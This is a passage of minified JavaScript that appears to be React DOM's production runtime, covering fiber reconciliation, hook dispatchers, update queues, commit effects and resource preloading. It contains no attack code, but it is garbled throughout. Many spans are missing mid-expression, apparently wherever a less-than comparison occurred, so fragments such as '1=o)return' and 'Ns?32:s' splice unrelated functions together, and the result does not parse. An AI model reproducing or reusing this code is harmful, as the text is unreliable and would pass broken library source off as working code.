null;case"keypress":if(!(o.ctrlKey||o.altKey||o.metaKey)||o.ctrlKey&&o.altKey){if(o.char&&1=o)return{node:s,offset:o-a};a=d}e:{for(;s;){if(s.nextSibling){s=s.nextSibling;break e}s=s.parentNode}s=void 0}s=Xw(s)}}function Qw(a,o){return a&&o?a===o?!0:a&&a.nodeType===3?!1:o&&o.nodeType===3?Qw(a,o.parentNode):"contains"in a?a.contains(o):a.compareDocumentPosition?!!(a.compareDocumentPosition(o)&16):!1:!1}function Jw(a){a=a!=null&&a.ownerDocument!=null&&a.ownerDocument.defaultView!=null?a.ownerDocument.defaultView:window;for(var o=Au(a.document);o instanceof a.HTMLIFrameElement;){try{var s=typeof o.contentWindow.location.href=="string"}catch{s=!1}if(s)a=o.contentWindow;else break;o=Au(a.document)}return o}function mm(a){var o=a&&a.nodeName&&a.nodeName.toLowerCase();return o&&(o==="input"&&(a.type==="text"||a.type==="search"||a.type==="tel"||a.type==="url"||a.type==="password")||o==="textarea"||a.contentEditable==="true")}var i4=Zr&&"documentMode"in document&&11>=document.documentMode,Bo=null,vm=null,ws=null,gm=!1;function eS(a,o,s){var d=s.window===s?s.document:s.nodeType===9?s:s.ownerDocument;gm||Bo==null||Bo!==Au(d)||(d=Bo,"selectionStart"in d&&mm(d)?d={start:d.selectionStart,end:d.selectionEnd}:(d=(d.ownerDocument&&d.ownerDocument.defaultView||window).getSelection(),d={anchorNode:d.anchorNode,anchorOffset:d.anchorOffset,focusNode:d.focusNode,focusOffset:d.focusOffset}),ws&&xs(ws,d)||(ws=d,d=wf(vm,"onSelect"),0>=C,g-=C,Tr=1<<32-Nn(o)+g|s<Re?($e=be,be=null):$e=be.sibling;var He=W(H,be,K[Re],re);if(He===null){be===null&&(be=$e);break}a&&be&&He.alternate===null&&o(H,be),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He,be=$e}if(Re===K.length)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;ReRe?($e=be,be=null):$e=be.sibling;var ui=W(H,be,He.value,re);if(ui===null){be===null&&(be=$e);break}a&&be&&ui.alternate===null&&o(H,be),z=b(ui,z,Re),Ue===null?Se=ui:Ue.sibling=ui,Ue=ui,be=$e}if(He.done)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;!He.done;Re++,He=K.next())He=ie(H,He.value,re),He!==null&&(z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return Be&&Jr(H,Re),Se}for(be=d(be);!He.done;Re++,He=K.next())He=J(be,H,Re,He.value,re),He!==null&&(a&&He.alternate!==null&&be.delete(He.key===null?Re:He.key),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return a&&be.forEach(function(A$){return o(H,A$)}),Be&&Jr(H,Re),Se}function Je(H,z,K,re){if(typeof K=="object"&&K!==null&&K.type===w&&K.key===null&&(K=K.props.children),typeof K=="object"&&K!==null){switch(K.$$typeof){case x:e:{for(var Se=K.key;z!==null;){if(z.key===Se){if(Se=K.type,Se===w){if(z.tag===7){s(H,z.sibling),re=g(z,K.props.children),re.return=H,H=re;break e}}else if(z.elementType===Se||typeof Se=="object"&&Se!==null&&Se.$$typeof===I&&Ui(Se)===z.type){s(H,z.sibling),re=g(z,K.props),_s(re,K),re.return=H,H=re;break e}s(H,z);break}else o(H,z);z=z.sibling}K.type===w?(re=Li(K.props.children,H.mode,re,K.key),re.return=H,H=re):(re=Iu(K.type,K.key,K.props,null,H.mode,re),_s(re,K),re.return=H,H=re)}return C(H);case S:e:{for(Se=K.key;z!==null;){if(z.key===Se)if(z.tag===4&&z.stateNode.containerInfo===K.containerInfo&&z.stateNode.implementation===K.implementation){s(H,z.sibling),re=g(z,K.children||[]),re.return=H,H=re;break e}else{s(H,z);break}else o(H,z);z=z.sibling}re=Em(K,H.mode,re),re.return=H,H=re}return C(H);case I:return K=Ui(K),Je(H,z,K,re)}if(ce(K))return ve(H,z,K,re);if(V(K)){if(Se=V(K),typeof Se!="function")throw Error(r(150));return K=Se.call(K),Ae(H,z,K,re)}if(typeof K.then=="function")return Je(H,z,Fu(K),re);if(K.$$typeof===T)return Je(H,z,Bu(H,K),re);Vu(H,K)}return typeof K=="string"&&K!==""||typeof K=="number"||typeof K=="bigint"?(K=""+K,z!==null&&z.tag===6?(s(H,z.sibling),re=g(z,K),re.return=H,H=re):(s(H,z),re=Om(K,H.mode,re),re.return=H,H=re),C(H)):s(H,z)}return function(H,z,K,re){try{Cs=0;var Se=Je(H,z,K,re);return Zo=null,Se}catch(be){if(be===Xo||be===Hu)throw be;var Ue=jn(29,be,null,H.mode);return Ue.lanes=re,Ue.return=H,Ue}}}var qi=OS(!0),ES=OS(!1),Ya=!1;function Lm(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function Im(a,o){a=a.updateQueue,o.updateQueue===a&&(o.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,callbacks:null})}function Ga(a){return{lane:a,tag:0,payload:null,callback:null,next:null}}function Wa(a,o,s){var d=a.updateQueue;if(d===null)return null;if(d=d.shared,(Ve&2)!==0){var g=d.pending;return g===null?o.next=o:(o.next=g.next,g.next=o),d.pending=o,o=Lu(a),lS(a,null,s),o}return ku(a,d,o,s),Lu(a)}function Ts(a,o,s){if(o=o.updateQueue,o!==null&&(o=o.shared,(s&4194048)!==0)){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}function zm(a,o){var s=a.updateQueue,d=a.alternate;if(d!==null&&(d=d.updateQueue,s===d)){var g=null,b=null;if(s=s.firstBaseUpdate,s!==null){do{var C={lane:s.lane,tag:s.tag,payload:s.payload,callback:null,next:null};b===null?g=b=C:b=b.next=C,s=s.next}while(s!==null);b===null?g=b=o:b=b.next=o}else g=b=o;s={baseState:d.baseState,firstBaseUpdate:g,lastBaseUpdate:b,shared:d.shared,callbacks:d.callbacks},a.updateQueue=s;return}a=s.lastBaseUpdate,a===null?s.firstBaseUpdate=o:a.next=o,s.lastBaseUpdate=o}var $m=!1;function Ns(){if($m){var a=Wo;if(a!==null)throw a}}function Ms(a,o,s,d){$m=!1;var g=a.updateQueue;Ya=!1;var b=g.firstBaseUpdate,C=g.lastBaseUpdate,N=g.shared.pending;if(N!==null){g.shared.pending=null;var k=N,Y=k.next;k.next=null,C===null?b=Y:C.next=Y,C=k;var te=a.alternate;te!==null&&(te=te.updateQueue,N=te.lastBaseUpdate,N!==C&&(N===null?te.firstBaseUpdate=Y:N.next=Y,te.lastBaseUpdate=k))}if(b!==null){var ie=g.baseState;C=0,te=Y=k=null,N=b;do{var W=N.lane&-536870913,J=W!==N.lane;if(J?(ze&W)===W:(d&W)===W){W!==0&&W===Go&&($m=!0),te!==null&&(te=te.next={lane:0,tag:N.tag,payload:N.payload,callback:null,next:null});e:{var ve=a,Ae=N;W=o;var Je=s;switch(Ae.tag){case 1:if(ve=Ae.payload,typeof ve=="function"){ie=ve.call(Je,ie,W);break e}ie=ve;break e;case 3:ve.flags=ve.flags&-65537|128;case 0:if(ve=Ae.payload,W=typeof ve=="function"?ve.call(Je,ie,W):ve,W==null)break e;ie=m({},ie,W);break e;case 2:Ya=!0}}W=N.callback,W!==null&&(a.flags|=64,J&&(a.flags|=8192),J=g.callbacks,J===null?g.callbacks=[W]:J.push(W))}else J={lane:W,tag:N.tag,payload:N.payload,callback:N.callback,next:null},te===null?(Y=te=J,k=ie):te=te.next=J,C|=W;if(N=N.next,N===null){if(N=g.shared.pending,N===null)break;J=N,N=J.next,J.next=null,g.lastBaseUpdate=J,g.shared.pending=null}}while(!0);te===null&&(k=ie),g.baseState=k,g.firstBaseUpdate=Y,g.lastBaseUpdate=te,b===null&&(g.shared.lanes=0),ei|=C,a.lanes=C,a.memoizedState=ie}}function AS(a,o){if(typeof a!="function")throw Error(r(191,a));a.call(o)}function CS(a,o){var s=a.callbacks;if(s!==null)for(a.callbacks=null,a=0;ab?b:8;var C=L.T,N={};L.T=N,av(a,!1,o,s);try{var k=g(),Y=L.S;if(Y!==null&&Y(N,k),k!==null&&typeof k=="object"&&typeof k.then=="function"){var te=p4(k,d);Rs(a,o,te,Ln(a))}else Rs(a,o,d,Ln(a))}catch(ie){Rs(a,o,{then:function(){},status:"rejected",reason:ie},Ln())}finally{F.p=b,C!==null&&N.types!==null&&(C.types=N.types),L.T=C}}function x4(){}function nv(a,o,s,d){if(a.tag!==5)throw Error(r(476));var g=aO(a).queue;rO(a,g,o,$,s===null?x4:function(){return iO(a),s(d)})}function aO(a){var o=a.memoizedState;if(o!==null)return o;o={memoizedState:$,baseState:$,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:$},next:null};var s={};return o.next={memoizedState:s,baseState:s,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:s},next:null},a.memoizedState=o,a=a.alternate,a!==null&&(a.memoizedState=o),o}function iO(a){var o=aO(a);o.next===null&&(o=a.alternate.memoizedState),Rs(a,o.next.queue,{},Ln())}function rv(){return Wt(Xs)}function oO(){return St().memoizedState}function lO(){return St().memoizedState}function w4(a){for(var o=a.return;o!==null;){switch(o.tag){case 24:case 3:var s=Ln();a=Ga(s);var d=Wa(o,a,s);d!==null&&(Sn(d,o,s),Ts(d,o,s)),o={cache:Pm()},a.payload=o;return}o=o.return}}function S4(a,o,s){var d=Ln();s={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null},tf(a)?cO(o,s):(s=wm(a,o,s,d),s!==null&&(Sn(s,a,d),uO(s,o,d)))}function sO(a,o,s){var d=Ln();Rs(a,o,s,d)}function Rs(a,o,s,d){var g={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null};if(tf(a))cO(o,g);else{var b=a.alternate;if(a.lanes===0&&(b===null||b.lanes===0)&&(b=o.lastRenderedReducer,b!==null))try{var C=o.lastRenderedState,N=b(C,s);if(g.hasEagerState=!0,g.eagerState=N,Mn(N,C))return ku(a,o,g,0),tt===null&&Du(),!1}catch{}if(s=wm(a,o,g,d),s!==null)return Sn(s,a,d),uO(s,o,d),!0}return!1}function av(a,o,s,d){if(d={lane:2,revertLane:Lv(),gesture:null,action:d,hasEagerState:!1,eagerState:null,next:null},tf(a)){if(o)throw Error(r(479))}else o=wm(a,s,d,2),o!==null&&Sn(o,a,2)}function tf(a){var o=a.alternate;return a===Pe||o!==null&&o===Pe}function cO(a,o){Jo=Gu=!0;var s=a.pending;s===null?o.next=o:(o.next=s.next,s.next=o),a.pending=o}function uO(a,o,s){if((s&4194048)!==0){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}var Ds={readContext:Wt,use:Zu,useCallback:mt,useContext:mt,useEffect:mt,useImperativeHandle:mt,useLayoutEffect:mt,useInsertionEffect:mt,useMemo:mt,useReducer:mt,useRef:mt,useState:mt,useDebugValue:mt,useDeferredValue:mt,useTransition:mt,useSyncExternalStore:mt,useId:mt,useHostTransitionStatus:mt,useFormState:mt,useActionState:mt,useOptimistic:mt,useMemoCache:mt,useCacheRefresh:mt};Ds.useEffectEvent=mt;var fO={readContext:Wt,use:Zu,useCallback:function(a,o){return sn().memoizedState=[a,o===void 0?null:o],a},useContext:Wt,useEffect:GS,useImperativeHandle:function(a,o,s){s=s!=null?s.concat([a]):null,Ju(4194308,4,QS.bind(null,o,a),s)},useLayoutEffect:function(a,o){return Ju(4194308,4,a,o)},useInsertionEffect:function(a,o){Ju(4,2,a,o)},useMemo:function(a,o){var s=sn();o=o===void 0?null:o;var d=a();if(Fi){Ba(!0);try{a()}finally{Ba(!1)}}return s.memoizedState=[d,o],d},useReducer:function(a,o,s){var d=sn();if(s!==void 0){var g=s(o);if(Fi){Ba(!0);try{s(o)}finally{Ba(!1)}}}else g=o;return d.memoizedState=d.baseState=g,a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:a,lastRenderedState:g},d.queue=a,a=a.dispatch=S4.bind(null,Pe,a),[d.memoizedState,a]},useRef:function(a){var o=sn();return a={current:a},o.memoizedState=a},useState:function(a){a=Zm(a);var o=a.queue,s=sO.bind(null,Pe,o);return o.dispatch=s,[a.memoizedState,s]},useDebugValue:ev,useDeferredValue:function(a,o){var s=sn();return tv(s,a,o)},useTransition:function(){var a=Zm(!1);return a=rO.bind(null,Pe,a.queue,!0,!1),sn().memoizedState=a,[!1,a]},useSyncExternalStore:function(a,o,s){var d=Pe,g=sn();if(Be){if(s===void 0)throw Error(r(407));s=s()}else{if(s=o(),tt===null)throw Error(r(349));(ze&127)!==0||PS(d,o,s)}g.memoizedState=s;var b={value:s,getSnapshot:o};return g.queue=b,GS(DS.bind(null,d,b,a),[a]),d.flags|=2048,tl(9,{destroy:void 0},RS.bind(null,d,b,s,o),null),s},useId:function(){var a=sn(),o=tt.identifierPrefix;if(Be){var s=Nr,d=Tr;s=(d&~(1<<32-Nn(d)-1)).toString(32)+s,o="_"+o+"R_"+s,s=Wu++,0<\/script>",b=b.removeChild(b.firstChild);break;case"select":b=typeof d.is=="string"?C.createElement("select",{is:d.is}):C.createElement("select"),d.multiple?b.multiple=!0:d.size&&(b.size=d.size);break;default:b=typeof d.is=="string"?C.createElement(g,{is:d.is}):C.createElement(g)}}b[Yt]=o,b[vn]=d;e:for(C=o.child;C!==null;){if(C.tag===5||C.tag===6)b.appendChild(C.stateNode);else if(C.tag!==4&&C.tag!==27&&C.child!==null){C.child.return=C,C=C.child;continue}if(C===o)break e;for(;C.sibling===null;){if(C.return===null||C.return===o)break e;C=C.return}C.sibling.return=C.return,C=C.sibling}o.stateNode=b;e:switch(Zt(b,g,d),g){case"button":case"input":case"select":case"textarea":d=!!d.autoFocus;break e;case"img":d=!0;break e;default:d=!1}d&&ia(o)}}return it(o),yv(o,o.type,a===null?null:a.memoizedProps,o.pendingProps,s),null;case 6:if(a&&o.stateNode!=null)a.memoizedProps!==d&&ia(o);else{if(typeof d!="string"&&o.stateNode===null)throw Error(r(166));if(a=xe.current,Ko(o)){if(a=o.stateNode,s=o.memoizedProps,d=null,g=Gt,g!==null)switch(g.tag){case 27:case 5:d=g.memoizedProps}a[Yt]=o,a=!!(a.nodeValue===s||d!==null&&d.suppressHydrationWarning===!0||ME(a.nodeValue,s)),a||Va(o,!0)}else a=Sf(a).createTextNode(d),a[Yt]=o,o.stateNode=a}return it(o),null;case 31:if(s=o.memoizedState,a===null||a.memoizedState!==null){if(d=Ko(o),s!==null){if(a===null){if(!d)throw Error(r(318));if(a=o.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(r(557));a[Yt]=o}else Ii(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),a=!1}else s=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=s),a=!0;if(!a)return o.flags&256?(Rn(o),o):(Rn(o),null);if((o.flags&128)!==0)throw Error(r(558))}return it(o),null;case 13:if(d=o.memoizedState,a===null||a.memoizedState!==null&&a.memoizedState.dehydrated!==null){if(g=Ko(o),d!==null&&d.dehydrated!==null){if(a===null){if(!g)throw Error(r(318));if(g=o.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(r(317));g[Yt]=o}else Ii(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),g=!1}else g=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=g),g=!0;if(!g)return o.flags&256?(Rn(o),o):(Rn(o),null)}return Rn(o),(o.flags&128)!==0?(o.lanes=s,o):(s=d!==null,a=a!==null&&a.memoizedState!==null,s&&(d=o.child,g=null,d.alternate!==null&&d.alternate.memoizedState!==null&&d.alternate.memoizedState.cachePool!==null&&(g=d.alternate.memoizedState.cachePool.pool),b=null,d.memoizedState!==null&&d.memoizedState.cachePool!==null&&(b=d.memoizedState.cachePool.pool),b!==g&&(d.flags|=2048)),s!==a&&s&&(o.child.flags|=8192),lf(o,o.updateQueue),it(o),null);case 4:return Q(),a===null&&Bv(o.stateNode.containerInfo),it(o),null;case 10:return ta(o.type),it(o),null;case 19:if(X(wt),d=o.memoizedState,d===null)return it(o),null;if(g=(o.flags&128)!==0,b=d.rendering,b===null)if(g)Ls(d,!1);else{if(vt!==0||a!==null&&(a.flags&128)!==0)for(a=o.child;a!==null;){if(b=Yu(a),b!==null){for(o.flags|=128,Ls(d,!1),a=b.updateQueue,o.updateQueue=a,lf(o,a),o.subtreeFlags=0,a=s,s=o.child;s!==null;)sS(s,a),s=s.sibling;return ae(wt,wt.current&1|2),Be&&Jr(o,d.treeForkCount),o.child}a=a.sibling}d.tail!==null&&_n()>df&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304)}else{if(!g)if(a=Yu(b),a!==null){if(o.flags|=128,g=!0,a=a.updateQueue,o.updateQueue=a,lf(o,a),Ls(d,!0),d.tail===null&&d.tailMode==="hidden"&&!b.alternate&&!Be)return it(o),null}else 2*_n()-d.renderingStartTime>df&&s!==536870912&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304);d.isBackwards?(b.sibling=o.child,o.child=b):(a=d.last,a!==null?a.sibling=b:o.child=b,d.last=b)}return d.tail!==null?(a=d.tail,d.rendering=a,d.tail=a.sibling,d.renderingStartTime=_n(),a.sibling=null,s=wt.current,ae(wt,g?s&1|2:s&1),Be&&Jr(o,d.treeForkCount),a):(it(o),null);case 22:case 23:return Rn(o),Um(),d=o.memoizedState!==null,a!==null?a.memoizedState!==null!==d&&(o.flags|=8192):d&&(o.flags|=8192),d?(s&536870912)!==0&&(o.flags&128)===0&&(it(o),o.subtreeFlags&6&&(o.flags|=8192)):it(o),s=o.updateQueue,s!==null&&lf(o,s.retryQueue),s=null,a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(s=a.memoizedState.cachePool.pool),d=null,o.memoizedState!==null&&o.memoizedState.cachePool!==null&&(d=o.memoizedState.cachePool.pool),d!==s&&(o.flags|=2048),a!==null&&X(Bi),null;case 24:return s=null,a!==null&&(s=a.memoizedState.cache),o.memoizedState.cache!==s&&(o.flags|=2048),ta(Et),it(o),null;case 25:return null;case 30:return null}throw Error(r(156,o.tag))}function _4(a,o){switch(Cm(o),o.tag){case 1:return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 3:return ta(Et),Q(),a=o.flags,(a&65536)!==0&&(a&128)===0?(o.flags=a&-65537|128,o):null;case 26:case 27:case 5:return he(o),null;case 31:if(o.memoizedState!==null){if(Rn(o),o.alternate===null)throw Error(r(340));Ii()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 13:if(Rn(o),a=o.memoizedState,a!==null&&a.dehydrated!==null){if(o.alternate===null)throw Error(r(340));Ii()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 19:return X(wt),null;case 4:return Q(),null;case 10:return ta(o.type),null;case 22:case 23:return Rn(o),Um(),a!==null&&X(Bi),a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 24:return ta(Et),null;case 25:return null;default:return null}}function kO(a,o){switch(Cm(o),o.tag){case 3:ta(Et),Q();break;case 26:case 27:case 5:he(o);break;case 4:Q();break;case 31:o.memoizedState!==null&&Rn(o);break;case 13:Rn(o);break;case 19:X(wt);break;case 10:ta(o.type);break;case 22:case 23:Rn(o),Um(),a!==null&&X(Bi);break;case 24:ta(Et)}}function Is(a,o){try{var s=o.updateQueue,d=s!==null?s.lastEffect:null;if(d!==null){var g=d.next;s=g;do{if((s.tag&a)===a){d=void 0;var b=s.create,C=s.inst;d=b(),C.destroy=d}s=s.next}while(s!==g)}}catch(N){We(o,o.return,N)}}function Qa(a,o,s){try{var d=o.updateQueue,g=d!==null?d.lastEffect:null;if(g!==null){var b=g.next;d=b;do{if((d.tag&a)===a){var C=d.inst,N=C.destroy;if(N!==void 0){C.destroy=void 0,g=o;var k=s,Y=N;try{Y()}catch(te){We(g,k,te)}}}d=d.next}while(d!==b)}}catch(te){We(o,o.return,te)}}function LO(a){var o=a.updateQueue;if(o!==null){var s=a.stateNode;try{CS(o,s)}catch(d){We(a,a.return,d)}}}function IO(a,o,s){s.props=Vi(a.type,a.memoizedProps),s.state=a.memoizedState;try{s.componentWillUnmount()}catch(d){We(a,o,d)}}function zs(a,o){try{var s=a.ref;if(s!==null){switch(a.tag){case 26:case 27:case 5:var d=a.stateNode;break;case 30:d=a.stateNode;break;default:d=a.stateNode}typeof s=="function"?a.refCleanup=s(d):s.current=d}}catch(g){We(a,o,g)}}function Mr(a,o){var s=a.ref,d=a.refCleanup;if(s!==null)if(typeof d=="function")try{d()}catch(g){We(a,o,g)}finally{a.refCleanup=null,a=a.alternate,a!=null&&(a.refCleanup=null)}else if(typeof s=="function")try{s(null)}catch(g){We(a,o,g)}else s.current=null}function zO(a){var o=a.type,s=a.memoizedProps,d=a.stateNode;try{e:switch(o){case"button":case"input":case"select":case"textarea":s.autoFocus&&d.focus();break e;case"img":s.src?d.src=s.src:s.srcSet&&(d.srcset=s.srcSet)}}catch(g){We(a,a.return,g)}}function bv(a,o,s){try{var d=a.stateNode;W4(d,a.type,s,o),d[vn]=o}catch(g){We(a,a.return,g)}}function $O(a){return a.tag===5||a.tag===3||a.tag===26||a.tag===27&&ii(a.type)||a.tag===4}function xv(a){e:for(;;){for(;a.sibling===null;){if(a.return===null||$O(a.return))return null;a=a.return}for(a.sibling.return=a.return,a=a.sibling;a.tag!==5&&a.tag!==6&&a.tag!==18;){if(a.tag===27&&ii(a.type)||a.flags&2||a.child===null||a.tag===4)continue e;a.child.return=a,a=a.child}if(!(a.flags&2))return a.stateNode}}function wv(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?(s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s).insertBefore(a,o):(o=s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s,o.appendChild(a),s=s._reactRootContainer,s!=null||o.onclick!==null||(o.onclick=Xr));else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode,o=null),a=a.child,a!==null))for(wv(a,o,s),a=a.sibling;a!==null;)wv(a,o,s),a=a.sibling}function sf(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?s.insertBefore(a,o):s.appendChild(a);else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode),a=a.child,a!==null))for(sf(a,o,s),a=a.sibling;a!==null;)sf(a,o,s),a=a.sibling}function BO(a){var o=a.stateNode,s=a.memoizedProps;try{for(var d=a.type,g=o.attributes;g.length;)o.removeAttributeNode(g[0]);Zt(o,d,s),o[Yt]=a,o[vn]=s}catch(b){We(a,a.return,b)}}var oa=!1,_t=!1,Sv=!1,UO=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function T4(a,o){if(a=a.containerInfo,qv=Nf,a=Jw(a),mm(a)){if("selectionStart"in a)var s={start:a.selectionStart,end:a.selectionEnd};else e:{s=(s=a.ownerDocument)&&s.defaultView||window;var d=s.getSelection&&s.getSelection();if(d&&d.rangeCount!==0){s=d.anchorNode;var g=d.anchorOffset,b=d.focusNode;d=d.focusOffset;try{s.nodeType,b.nodeType}catch{s=null;break e}var C=0,N=-1,k=-1,Y=0,te=0,ie=a,W=null;t:for(;;){for(var J;ie!==s||g!==0&&ie.nodeType!==3||(N=C+g),ie!==b||d!==0&&ie.nodeType!==3||(k=C+d),ie.nodeType===3&&(C+=ie.nodeValue.length),(J=ie.firstChild)!==null;)W=ie,ie=J;for(;;){if(ie===a)break t;if(W===s&&++Y===g&&(N=C),W===b&&++te===d&&(k=C),(J=ie.nextSibling)!==null)break;ie=W,W=ie.parentNode}ie=J}s=N===-1||k===-1?null:{start:N,end:k}}else s=null}s=s||{start:0,end:0}}else s=null;for(Fv={focusedElem:a,selectionRange:s},Nf=!1,Bt=o;Bt!==null;)if(o=Bt,a=o.child,(o.subtreeFlags&1028)!==0&&a!==null)a.return=o,Bt=a;else for(;Bt!==null;){switch(o=Bt,b=o.alternate,a=o.flags,o.tag){case 0:if((a&4)!==0&&(a=o.updateQueue,a=a!==null?a.events:null,a!==null))for(s=0;s title"))),Zt(b,d,s),b[Yt]=a,$t(b),d=b;break e;case"link":var C=YE("link","href",g).get(d+(s.href||""));if(C){for(var N=0;NJe&&(C=Je,Je=Ae,Ae=C);var H=Zw(N,Ae),z=Zw(N,Je);if(H&&z&&(J.rangeCount!==1||J.anchorNode!==H.node||J.anchorOffset!==H.offset||J.focusNode!==z.node||J.focusOffset!==z.offset)){var K=ie.createRange();K.setStart(H.node,H.offset),J.removeAllRanges(),Ae>Je?(J.addRange(K),J.extend(z.node,z.offset)):(K.setEnd(z.node,z.offset),J.addRange(K))}}}}for(ie=[],J=N;J=J.parentNode;)J.nodeType===1&&ie.push({element:J,left:J.scrollLeft,top:J.scrollTop});for(typeof N.focus=="function"&&N.focus(),N=0;Ns?32:s,L.T=null,s=Nv,Nv=null;var b=ni,C=fa;if(jt=0,ol=ni=null,fa=0,(Ve&6)!==0)throw Error(r(331));var N=Ve;if(Ve|=4,QO(b.current),WO(b,b.current,C,s),Ve=N,Fs(0,!1),Tn&&typeof Tn.onPostCommitFiberRoot=="function")try{Tn.onPostCommitFiberRoot(ss,b)}catch{}return!0}finally{F.p=g,L.T=d,vE(a,o)}}function yE(a,o,s){o=Wn(s,o),o=sv(a.stateNode,o,2),a=Wa(a,o,2),a!==null&&(us(a,2),jr(a))}function We(a,o,s){if(a.tag===3)yE(a,a,s);else for(;o!==null;){if(o.tag===3){yE(o,a,s);break}else if(o.tag===1){var d=o.stateNode;if(typeof o.type.getDerivedStateFromError=="function"||typeof d.componentDidCatch=="function"&&(ti===null||!ti.has(d))){a=Wn(s,a),s=bO(2),d=Wa(o,s,2),d!==null&&(xO(s,d,o,a),us(d,2),jr(d));break}}o=o.return}}function Rv(a,o,s){var d=a.pingCache;if(d===null){d=a.pingCache=new j4;var g=new Set;d.set(o,g)}else g=d.get(o),g===void 0&&(g=new Set,d.set(o,g));g.has(s)||(Av=!0,g.add(s),a=L4.bind(null,a,o,s),o.then(a,a))}function L4(a,o,s){var d=a.pingCache;d!==null&&d.delete(o),a.pingedLanes|=a.suspendedLanes&s,a.warmLanes&=~s,tt===a&&(ze&s)===s&&(vt===4||vt===3&&(ze&62914560)===ze&&300>_n()-ff?(Ve&2)===0&&ll(a,0):Cv|=s,il===ze&&(il=0)),jr(a)}function bE(a,o){o===0&&(o=hw()),a=ki(a,o),a!==null&&(us(a,o),jr(a))}function I4(a){var o=a.memoizedState,s=0;o!==null&&(s=o.retryLane),bE(a,s)}function z4(a,o){var s=0;switch(a.tag){case 31:case 13:var d=a.stateNode,g=a.memoizedState;g!==null&&(s=g.retryLane);break;case 19:d=a.stateNode;break;case 22:d=a.stateNode._retryCache;break;default:throw Error(r(314))}d!==null&&d.delete(o),bE(a,s)}function $4(a,o){return Kp(a,o)}var yf=null,cl=null,Dv=!1,bf=!1,kv=!1,ai=0;function jr(a){a!==cl&&a.next===null&&(cl===null?yf=cl=a:cl=cl.next=a),bf=!0,Dv||(Dv=!0,U4())}function Fs(a,o){if(!kv&&bf){kv=!0;do for(var s=!1,d=yf;d!==null;){if(a!==0){var g=d.pendingLanes;if(g===0)var b=0;else{var C=d.suspendedLanes,N=d.pingedLanes;b=(1<<31-Nn(42|a)+1)-1,b&=g&~(C&~N),b=b&201326741?b&201326741|1:b?b|2:0}b!==0&&(s=!0,OE(d,b))}else b=ze,b=Su(d,d===tt?b:0,d.cancelPendingCommit!==null||d.timeoutHandle!==-1),(b&3)===0||cs(d,b)||(s=!0,OE(d,b));d=d.next}while(s);kv=!1}}function B4(){xE()}function xE(){bf=Dv=!1;var a=0;ai!==0&&Z4()&&(a=ai);for(var o=_n(),s=null,d=yf;d!==null;){var g=d.next,b=wE(d,o);b===0?(d.next=null,s===null?yf=g:s.next=g,g===null&&(cl=s)):(s=d,(a!==0||(b&3)!==0)&&(bf=!0)),d=g}jt!==0&&jt!==5||Fs(a),ai!==0&&(ai=0)}function wE(a,o){for(var s=a.suspendedLanes,d=a.pingedLanes,g=a.expirationTimes,b=a.pendingLanes&-62914561;0N)break;var te=k.transferSize,ie=k.initiatorType;te&&jE(ie)&&(k=k.responseEnd,C+=te*(k"u"?null:document;function qE(a,o,s){var d=ul;if(d&&typeof o=="string"&&o){var g=Yn(o);g='link[rel="'+a+'"][href="'+g+'"]',typeof s=="string"&&(g+='[crossorigin="'+s+'"]'),HE.has(g)||(HE.add(g),a={rel:a,crossOrigin:s,href:o},d.querySelector(g)===null&&(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function o$(a){da.D(a),qE("dns-prefetch",a,null)}function l$(a,o){da.C(a,o),qE("preconnect",a,o)}function s$(a,o,s){da.L(a,o,s);var d=ul;if(d&&a&&o){var g='link[rel="preload"][as="'+Yn(o)+'"]';o==="image"&&s&&s.imageSrcSet?(g+='[imagesrcset="'+Yn(s.imageSrcSet)+'"]',typeof s.imageSizes=="string"&&(g+='[imagesizes="'+Yn(s.imageSizes)+'"]')):g+='[href="'+Yn(a)+'"]';var b=g;switch(o){case"style":b=fl(a);break;case"script":b=dl(a)}tr.has(b)||(a=m({rel:"preload",href:o==="image"&&s&&s.imageSrcSet?void 0:a,as:o},s),tr.set(b,a),d.querySelector(g)!==null||o==="style"&&d.querySelector(Gs(b))||o==="script"&&d.querySelector(Ws(b))||(o=d.createElement("link"),Zt(o,"link",a),$t(o),d.head.appendChild(o)))}}function c$(a,o){da.m(a,o);var 